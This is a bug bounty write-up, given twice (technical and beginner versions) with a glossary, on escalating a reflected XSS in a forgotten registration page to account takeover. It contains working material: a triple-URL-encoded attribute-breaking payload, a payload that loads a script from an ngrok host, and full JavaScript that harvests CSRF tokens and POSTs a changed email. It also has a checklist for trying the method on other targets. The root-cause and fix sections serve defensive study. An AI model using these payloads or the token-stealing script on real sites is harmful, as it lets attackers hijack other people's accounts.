Escalating XSS to Account Takeover
A reflected XSS vulnerability was found in a forgotten registration page, where a parameter was reflected into an input field and could be exploited with triple URL encoding. The attacker escalated this to account takeover by using JavaScript to fetch the account edit page, extract CSRF tokens, and submit a form to change the victim's email address.
Published on cirius.medium.com
Hey guys, this writeup is about my first Reflected XSS and how I escalated it to account takeover.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a subdomain of a private bug bounty program, referred to throughout as sub.example.com. The researcher had spent several days on this subdomain and had built up a picture of how it behaved and what a normal, low-privileged account could do there. The feature at the centre of the report is the registration flow: a page that lets a visitor register, with input fields including a city field. The write-up is about a reflected XSS in that flow and how it was turned into an account takeover.
Setup
The work was done against a private program, so the real hostname is not given. The researcher spent several days understanding the application and what a normal account can do. and the following tools:
- FFUF, for directory and file fuzzing.
- Arjun, to discover hidden parameters.
- Burp Suite Repeater, to iterate on payloads.
- Firefox developer tools, to develop the JavaScript payload in the console.
- ngrok, to expose a locally hosted script over HTTPS.
No versions are given in the report.
Finding it
After mapping the application, the researcher started fuzzing directories and files that were not linked directly from the site, using FFUF. This turned up a page that looked like a registration page:
sub.example.com/fakepath/register
The page a user actually reaches when clicking to register was a different one:
sub.example.com/fakepath/registration
The two near-identical registration pages suggested the older one might have been used earlier and then changed. Old, forgotten pages are a good place to look for bugs, so the researcher focused there.
Arjun was run against the page to look for hidden parameters, and several parameters were found that were reflected back on the page. Two of them were being written into input fields of the registration form. Supplying the first parameter through the URL put the value into the city input field.
The request was moved into Burp Suite Repeater and basic XSS inputs were tried. The output was HTML-encoded. Single URL encoding and double URL encoding were both tried and neither worked, so the researcher moved on to the other parameters.
After trying almost every parameter Arjun had returned, the researcher came back to the earlier Repeater tab and tried triple URL encoding. With that, the quote character (") passed through.
Exploitation
Step 1: confirm script execution
A simple payload was built to check reflection and execution:
sub.example.com/fakepath/register?i=aditya%252522+onmouseover=alert(1)+x=%252522s
The payload was sent through the i parameter. The x parameter was added at the end to balance the quote. Hovering over the city input field triggered the alert. The second reflected parameter, which lands in another input field, was vulnerable to a similar payload. The researcher also noticed that the register and registration pages are almost identical, tried the same payload on registration, and found both parameters vulnerable there as well.
The bug was reported as medium severity at that point.
Step 2: decide to escalate
The researcher then went back to the idea of escalating the finding. CSRF had already been checked on various forms, including the edit account form, so the plan was to use the script execution to fetch the account edit page, which comes with CSRF tokens (plural in this case), and then submit the data back with the email address changed.
The script was written in the Firefox developer tools console, which lets you run JavaScript on the page as if it had come with the page. It was hosted locally and exposed through an ngrok tunnel.
Step 3: deliver the script through the XSS
The following payload was used to load the remote script:
sub.example.com/fakepath/register?i=aditya%252522+/%25253e%25253cscript+src%3d%252522https://my_ngrok_url/script.js%252522%25253e%25253c/script%25253e
The payload was used to load the remote script from the ngrok URL.
Step 4: the script
let name=[];let value=[];fetch('https://sub.example.com/fakepath/accountchange.php?update=1').then(function(response) {return response.text()}).then(function (html) {// Convert the HTML string into a document object var parser = new DOMParser(); var doc = parser.parseFromString(html, 'text/html'); //var forms=doc.forms[0]; //console.log(doc); var element = doc.querySelectorAll('input[type="hidden"]'); //var name=[]; //var value=[]; for(var i=0; i<element.length;i++){ name.push(element[i].name); value.push(element[i].value); } console.log(name,value,"\n");}).catch(function (err) { // There was an error console.warn('Something went wrong.', err);});//////////////////////////////////////////////////////////////////////function sendData( data ) { const XHR = new XMLHttpRequest(), FD = new FormData(); console.log(name,value); // Push our data into our FormData object for(var i=0;i<7;i++) { console.log(FD); FD.append( name[i],value[i] ); } FD.append('lastname','a'); FD.append('name',"test"); FD.append('email','[redacted]'); FD.append('Sumbit','Sumbit'); // Define what happens on successful data submission XHR.addEventListener( 'load', function( event ) { alert( 'Yeah! Data sent and response loaded.' ); } );// Define what happens in case of error XHR.addEventListener(' error', function( event ) { alert( 'Oops! Something went wrong.' ); } );// Set up our request XHR.open( 'POST', 'https://sub.example.com/fakepath/accountchange.php?update=1' );// Send our FormData object; HTTP headers are set automatically XHR.send( FD );}setTimeout(sendData,7000);
The script works in two parts. First it fetches the account edit page from accountchange.php?update=1, parses the returned HTML with DOMParser, and collects the name and value of every hidden input, which is where the CSRF tokens live. Then, after a seven second delay (setTimeout(sendData,7000)), it builds a FormData object: the first seven entries are the hidden fields collected from the edit page, and then it appends lastname, name, email and Sumbit with the attacker's values. The email is set to [redacted], so the account's email address is changed to one the attacker controls. The FormData is sent with XMLHttpRequest as a POST to accountchange.php?update=1, with headers set automatically by the browser.
The script fetches the CSRF tokens from the victim's own session and submits them back with a changed email. The reflected XSS became a high severity account takeover.
Root cause
The reflected parameters are written into input field values without adequate encoding. The basic XSS inputs were HTML-encoded, and single and double URL encoding did not work either, but triple URL encoding got the quote through. Triple URL encoding got the quote through, which suggests the input is decoded more than once before it is placed in the page. The report does not show the server-side code, so the exact decoding path is likely rather than confirmed.
The account takeover relies on the edit account form being protected by CSRF tokens. Those tokens stop a cross-site request from another origin, but they do nothing against script running in the victim's own origin, which can read the tokens from the page and submit them back.
Impact
An attacker who gets a victim to load the crafted URL executes arbitrary JavaScript in the victim's session on sub.example.com. In this case the script reads the CSRF tokens from the account edit page and changes the account's email address to one the attacker controls, which is the account takeover. The victim has to visit the crafted link; the report does not describe any other precondition. The researcher first reported the XSS as medium severity and it became a high severity account takeover once the escalation was demonstrated.
Fix
The fix should be to stop reflecting user input into input field values without context-aware output encoding, and to make sure the input is decoded only once before it is encoded for the HTML context. The CSRF tokens on the account edit form should stay, but they are not a defence against XSS in the same origin, so the XSS itself has to be closed.
Variants to test
- Look for forgotten or duplicate pages next to live ones, such as
registernext toregistration, and fuzz for them with FFUF. A positive result is an older page that still processes input and is not linked from the site. - Run Arjun against forms and pages to find hidden parameters that are reflected. A positive result is a parameter whose value appears in the response, especially inside an input field.
- When a quote is HTML-encoded, try single, double and triple URL encoding in turn. A positive result is the quote passing through and breaking out of the attribute.
- When a value lands in an input field, add a second parameter to balance the quote the application appends. A positive result is a payload that executes on hover or load.
- Check whether the same parameters are reflected on sibling pages of the one you found. A positive result is the same payload working on more than one path.
- When you have XSS, fetch the account edit page, read the hidden CSRF tokens, and submit them back with a changed email. A positive result is the account email changing to one you control.
What happened, in plain words
A security researcher found a way to make a website run code that he wrote, just by getting a logged-in user to open a link. On its own, that kind of bug (called cross-site scripting, or XSS) can be shown with a simple alert box. The researcher then went further: he used that ability to change the victim's account email address to one he controlled. Once the email is changed, the attacker controls where the account's email goes, which is the account takeover. That is called an account takeover.
The lesson the researcher wants to pass on is simple: do not stop at the alert box. Show what an attacker can actually do with the bug, because that is what turns a medium-severity report into a high-severity one, and it usually raises the payout too.
This article walks through the whole thing from zero. You only need to know how to use a browser. Every tool and term is explained the first time it appears.
The target and the setup
The work was done against a private bug bounty program. A bug bounty program is a scheme where a company invites outside researchers to look for security bugs in its systems and pays them for valid reports. "Private" means only invited researchers can take part, so the real hostname is not published. Throughout the report the site is called sub.example.com.
A subdomain is a section of a larger website. If example.com is the main site, then sub.example.com is a separate area under it, often a different application or an older one.
The researcher spent several days on this subdomain first, learning how it works and what a normal, low-privileged account can do. This is important: you cannot tell whether an action is dangerous until you know what a normal user is allowed to do. The feature at the centre of the report is the registration flow, the pages a visitor uses to create an account, which include input fields such as a city field.
The tools used were:
- FFUF, a tool that throws lots of guessed file and folder names at a web server and reports which ones exist. "Fuzzing" means sending many variations automatically to see what comes back.
- Arjun, a tool that looks for hidden URL parameters. A parameter is the part of a URL after a question mark, like
?name=value. Many web pages accept parameters that are not advertised anywhere, and those are often forgotten and less well protected. - Burp Suite Repeater, a tool that lets you take a single web request, edit it, send it again, and look at the response. It is like a text editor for HTTP requests, so you can try many payloads quickly. A payload is the piece of input you send to try to trigger a bug.
- Firefox developer tools, the built-in panel in the Firefox browser for inspecting pages and running JavaScript. JavaScript is the programming language that browsers run to make pages interactive.
- ngrok, a service that gives your own computer a public web address, so a script running on your laptop can be loaded by someone else over the internet.
No version numbers are given in the report.
Finding the bug
Looking for forgotten pages
After mapping the application, the researcher started fuzzing directories and files that are not linked directly from the site, using FFUF. The idea is that pages which are not linked from anywhere are easy to forget, and forgotten pages are rarely kept up to date with security fixes.
This turned up a page that looked like a registration page:
sub.example.com/fakepath/register
The page a user actually reaches when clicking to register was a different one:
sub.example.com/fakepath/registration
Two near-identical registration pages suggested the older one might have been used earlier and then changed. The researcher focused there.
Finding hidden parameters
Arjun was run against the page to look for hidden parameters, and several were found that were reflected back on the page. "Reflected" means the value you put into the URL comes back out in the page the server sends you. That is the raw material for reflected XSS: if the server echoes your input without cleaning it, you may be able to make the browser treat your input as code instead of text.
Two of the parameters were being written into input fields of the registration form. Supplying the first parameter through the URL put the value into the city input field. An input field is the box on a form where you type, and its current value is set by the page's HTML.
Trying to break out
The request was moved into Burp Suite Repeater and basic XSS inputs were tried. The output was HTML-encoded. HTML encoding means special characters are replaced with safe stand-ins: a quote " becomes ", and a < becomes <. The browser then shows those characters as text instead of treating them as part of the page's structure. That is exactly what you want as a defender, and exactly what stops an attacker.
Single URL encoding and double URL encoding were both tried and neither worked. URL encoding is a way of writing characters in a URL so they survive the trip: a space becomes %20, a quote becomes %22, and so on. If a server decodes the URL once before using the value, then %22 becomes ". If it decodes twice, then %2522 becomes " on the second pass. The researcher was effectively testing how many times the server decodes before it encodes for the page.
After trying almost every parameter Arjun had returned, the researcher came back to the earlier Repeater tab and tried triple URL encoding. With that, the quote character (") passed through. That suggests the server was decoding the input more than once, so the encoding it applied afterwards did not neutralise the quote.
Exploitation
Step 1: confirm script execution
A simple payload was built to check reflection and execution:
sub.example.com/fakepath/register?i=aditya%252522+onmouseover=alert(1)+x=%252522s
What each part does:
i=aditya%252522sets theiparameter toadityafollowed by a triple-encoded quote.+onmouseover=alert(1)adds anonmouseoverattribute. In HTML, an attribute is a setting on a tag, andonmouseoveris a built-in event that fires when the mouse pointer moves over the element.alert(1)is JavaScript that shows a pop-up box with the number 1 in it. If the quote breaks out of the input, this becomes a real attribute on the tag and runs when you hover.+x=%252522sadds a second parameterxwhose value is a quote followed bys. The researcher added it at the end to balance the quote.
Hovering over the city input field triggered the alert. That confirms the browser is running the researcher's JavaScript, not just displaying it as text.
The second reflected parameter, which lands in another input field, was vulnerable to a similar payload. The researcher also noticed that the register and registration pages are almost identical, tried the same payload on registration, and found both parameters vulnerable there as well.
The bug was reported as medium severity at that point. Severity is the rating a program gives a bug, usually from low to critical, based on how much damage it can cause.
Step 2: decide to escalate
The researcher went back to the idea of escalating the finding. "Escalating" means taking a small bug and chaining it with other behaviour to show a bigger impact.
CSRF had already been checked on various forms, including the edit account form. CSRF stands for cross-site request forgery. It is an attack where a malicious site makes your browser send a request to another site where you are logged in, without you meaning to. Sites defend against it with CSRF tokens: random values embedded in forms that the server checks on submission. A token is a random value that proves the request came from the real page. If the attacker's site cannot read the token, it cannot forge a valid request.
The plan was to use the script execution to fetch the account edit page, which comes with CSRF tokens (plural in this case), and then submit the data back with the email address changed. The key insight is that CSRF tokens protect against requests from another origin, but they do nothing against script running inside the victim's own page. Script in the same origin can read the tokens from the page and send them back, and the server sees a perfectly valid request. "Origin" here means the combination of scheme, host and port, roughly "the same site".
The script was written in the Firefox developer tools console, which lets you run JavaScript on the page as if it had come with the page. It was hosted locally and exposed through an ngrok tunnel, so the victim's browser could load it over HTTPS from a public address.
Step 3: deliver the script through the XSS
The following payload was used to load the remote script:
sub.example.com/fakepath/register?i=aditya%252522+/%25253e%25253cscript+src%3d%252522https://my_ngrok_url/script.js%252522%25253e%25253c/script%25253e
Reading it piece by piece:
i=aditya%252522is the same triple-encoded quote as before, which closes the attribute the value is injected into.+/%25253e%25253cscript+src%3d%252522https://my_ngrok_url/script.js%252522%25253e%25253c/script%25253eis the rest of the injection. The payload was used to load the remote script from the ngrok URL. The browser then downloads and runs the script from the ngrok URL.
In short: the encoded quote closes the attribute, and the encoded />, <script src="..."> and </script> break out of the input tag and load the attacker-hosted script.
Step 4: the script
let name=[];let value=[];fetch('https://sub.example.com/fakepath/accountchange.php?update=1').then(function(response) {return response.text()}).then(function (html) {// Convert the HTML string into a document object var parser = new DOMParser(); var doc = parser.parseFromString(html, 'text/html'); //var forms=doc.forms[0]; //console.log(doc); var element = doc.querySelectorAll('input[type="hidden"]'); //var name=[]; //var value=[]; for(var i=0; i<element.length;i++){ name.push(element[i].name); value.push(element[i].value); } console.log(name,value,"\n");}).catch(function (err) { // There was an error console.warn('Something went wrong.', err);});//////////////////////////////////////////////////////////////////////function sendData( data ) { const XHR = new XMLHttpRequest(), FD = new FormData(); console.log(name,value); // Push our data into our FormData object for(var i=0;i<7;i++) { console.log(FD); FD.append( name[i],value[i] ); } FD.append('lastname','a'); FD.append('name',"test"); FD.append('email','[redacted]'); FD.append('Sumbit','Sumbit'); // Define what happens on successful data submission XHR.addEventListener( 'load', function( event ) { alert( 'Yeah! Data sent and response loaded.' ); } );// Define what happens in case of error XHR.addEventListener(' error', function( event ) { alert( 'Oops! Something went wrong.' ); } );// Set up our request XHR.open( 'POST', 'https://sub.example.com/fakepath/accountchange.php?update=1' );// Send our FormData object; HTTP headers are set automatically XHR.send( FD );}setTimeout(sendData,7000);
The script works in two parts.
Part 1: read the CSRF tokens.
let name=[];let value=[];creates two empty lists, one for the names of the hidden fields and one for their values.fetch('https://sub.example.com/fakepath/accountchange.php?update=1')asks the server for the account edit page.fetchis the browser's built-in way to make a request from JavaScript. Because the script is running onsub.example.com, the browser sends the victim's session cookie along with it. A session cookie is a small piece of data the browser stores after you log in, and the server uses it to recognise you on each request..then(function(response) {return response.text()})takes the response and reads it as text, which is the HTML of the edit page..then(function (html) { ... })runs the next block with that HTML.var parser = new DOMParser(); var doc = parser.parseFromString(html, 'text/html');turns the HTML string into a document object, so the script can search it the same way a browser searches a page.DOMParseris a built-in browser tool for exactly this.var element = doc.querySelectorAll('input[type="hidden"]');finds every hidden input in that page. Hidden inputs are form fields the user does not see; they are where CSRF tokens usually live.- The
forloop walks through those inputs and pushes each one'snameandvalueinto the two lists. At the end,nameandvaluehold the token names and token values. console.log(name,value,"\n");prints them to the browser console, which is useful while developing..catch(function (err) { console.warn('Something went wrong.', err);});handles any error in the fetch.
Part 2: submit the change.
function sendData( data ) { ... }defines a function that will do the submission.const XHR = new XMLHttpRequest(), FD = new FormData();creates anXMLHttpRequest, the older built-in way to send a request from JavaScript, and aFormDataobject, which is a container for form fields.for(var i=0;i<7;i++) { ... FD.append( name[i],value[i] ); }copies the first seven hidden fields (the CSRF tokens and any other hidden values) into the form data. The loop copies the first seven hidden fields into the form data.FD.append('lastname','a'); FD.append('name',"test"); FD.append('email','[redacted]'); FD.append('Sumbit','Sumbit');adds the attacker's own values. The important one isemail, which is set to an address the attacker controls. The misspellingSumbitis copied from the original script.XHR.addEventListener('load', ...)andXHR.addEventListener('error', ...)show an alert on success or failure, so the researcher can see what happened.XHR.open('POST', 'https://sub.example.com/fakepath/accountchange.php?update=1');prepares a POST request to the same endpoint. POST is the HTTP method used when you submit a form and change something on the server.XHR.send( FD );sends the form data. The browser sets the HTTP headers automatically.setTimeout(sendData,7000);waits seven seconds before callingsendData.
The script fetches the CSRF tokens from the victim's own session and submits them back with a changed email. The reflected XSS became a high severity account takeover.
Why it worked
The reflected parameters are written into input field values without adequate encoding. The basic XSS inputs were HTML-encoded, and single and double URL encoding did not work either, but triple URL encoding got the quote through. That points to the input being URL-decoded more than once before it is placed in the page, so the encoding applied afterwards does not neutralise the quote. The report does not show the server-side code, so the exact decoding path is likely rather than confirmed.
The account takeover relies on the edit account form being protected by CSRF tokens. Those tokens stop a cross-site request from another origin, but they do nothing against script running in the victim's own origin, which can read the tokens from the page and submit them back.
What an attacker could do
An attacker who gets a victim to load the crafted URL executes arbitrary JavaScript in the victim's session on sub.example.com. In this case the script reads the CSRF tokens from the account edit page and changes the account's email address to one the attacker controls, which is the account takeover. The victim has to visit the crafted link; the report does not describe any other precondition. The researcher first reported the XSS as medium severity and it became a high severity account takeover once the escalation was demonstrated.
How to fix it
The fix should be to stop reflecting user input into input field values without context-aware output encoding, and to make sure the input is decoded only once before it is encoded for the HTML context. The CSRF tokens on the account edit form should stay, but they are not a defence against XSS in the same origin, so the XSS itself has to be closed.
Things to try on other targets
- Look for forgotten or duplicate pages next to live ones, such as
registernext toregistration, and fuzz for them with FFUF. A positive result is an older page that still processes input and is not linked from the site. - Run Arjun against forms and pages to find hidden parameters that are reflected. A positive result is a parameter whose value appears in the response, especially inside an input field.
- When a quote is HTML-encoded, try single, double and triple URL encoding in turn. A positive result is the quote passing through and breaking out of the attribute.
- When a value lands in an input field, add a second parameter to balance the quote the application appends. A positive result is a payload that executes on hover or load.
- Check whether the same parameters are reflected on sibling pages of the one you found. A positive result is the same payload working on more than one path.
- When you have XSS, fetch the account edit page, read the hidden CSRF tokens, and submit them back with a changed email. A positive result is the account email changing to one you control.
Glossary
- Account takeover: gaining control of someone else's account, usually by changing its email or password so the real owner is locked out.
- Arjun: a tool that discovers hidden URL parameters on a web page.
- Attribute: a setting on an HTML tag, such as
valueoronmouseover. - Bug bounty program: a scheme where a company pays outside researchers for valid security bug reports.
- Burp Suite Repeater: a tool for editing and resending a single HTTP request and inspecting the response.
- CSRF (cross-site request forgery): an attack where a malicious site makes your browser send a request to another site where you are logged in.
- CSRF token: a random value embedded in a form that the server checks on submission, to prove the request came from the real page.
- DOMParser: a built-in browser tool that turns an HTML string into a document object you can search.
- Escalation: chaining a small bug with other behaviour to show a bigger impact.
- FFUF: a tool that fuzzes file and folder names on a web server.
- fetch: a built-in browser function for making HTTP requests from JavaScript.
- FormData: a built-in browser object that holds form fields for submission.
- Fuzzing: sending many automated variations of input to see what comes back.
- HTML encoding: replacing special characters with safe stand-ins (for example
"becomes") so the browser shows them as text. - HTTP method: the verb of a request, such as GET (read) or POST (submit and change).
- Input field: a box on a form where a user types, whose current value is set by the page's HTML.
- JavaScript: the programming language browsers run to make pages interactive.
- ngrok: a service that gives your local computer a public web address.
- Origin: the combination of scheme, host and port that defines "the same site" for browser security.
- Parameter: the part of a URL after a question mark, in the form
?name=value. - Payload: the piece of input you send to try to trigger a bug.
- POST: an HTTP method used to submit data and change something on the server.
- Reflected: input that comes back out in the page the server sends you.
- Session cookie: a small piece of data the browser stores after login, used by the server to recognise you.
- Severity: a rating of how much damage a bug can cause, usually from low to critical.
- Subdomain: a section of a larger website, such as
sub.example.comunderexample.com. - Token: a random value used to prove a request is legitimate.
- URL encoding: writing characters in a URL so they survive the trip, for example
%22for a quote. - XSS (cross-site scripting): a bug where an attacker's input is treated as code by the browser and runs in another user's session.
- XMLHttpRequest: a built-in browser object for sending HTTP requests from JavaScript.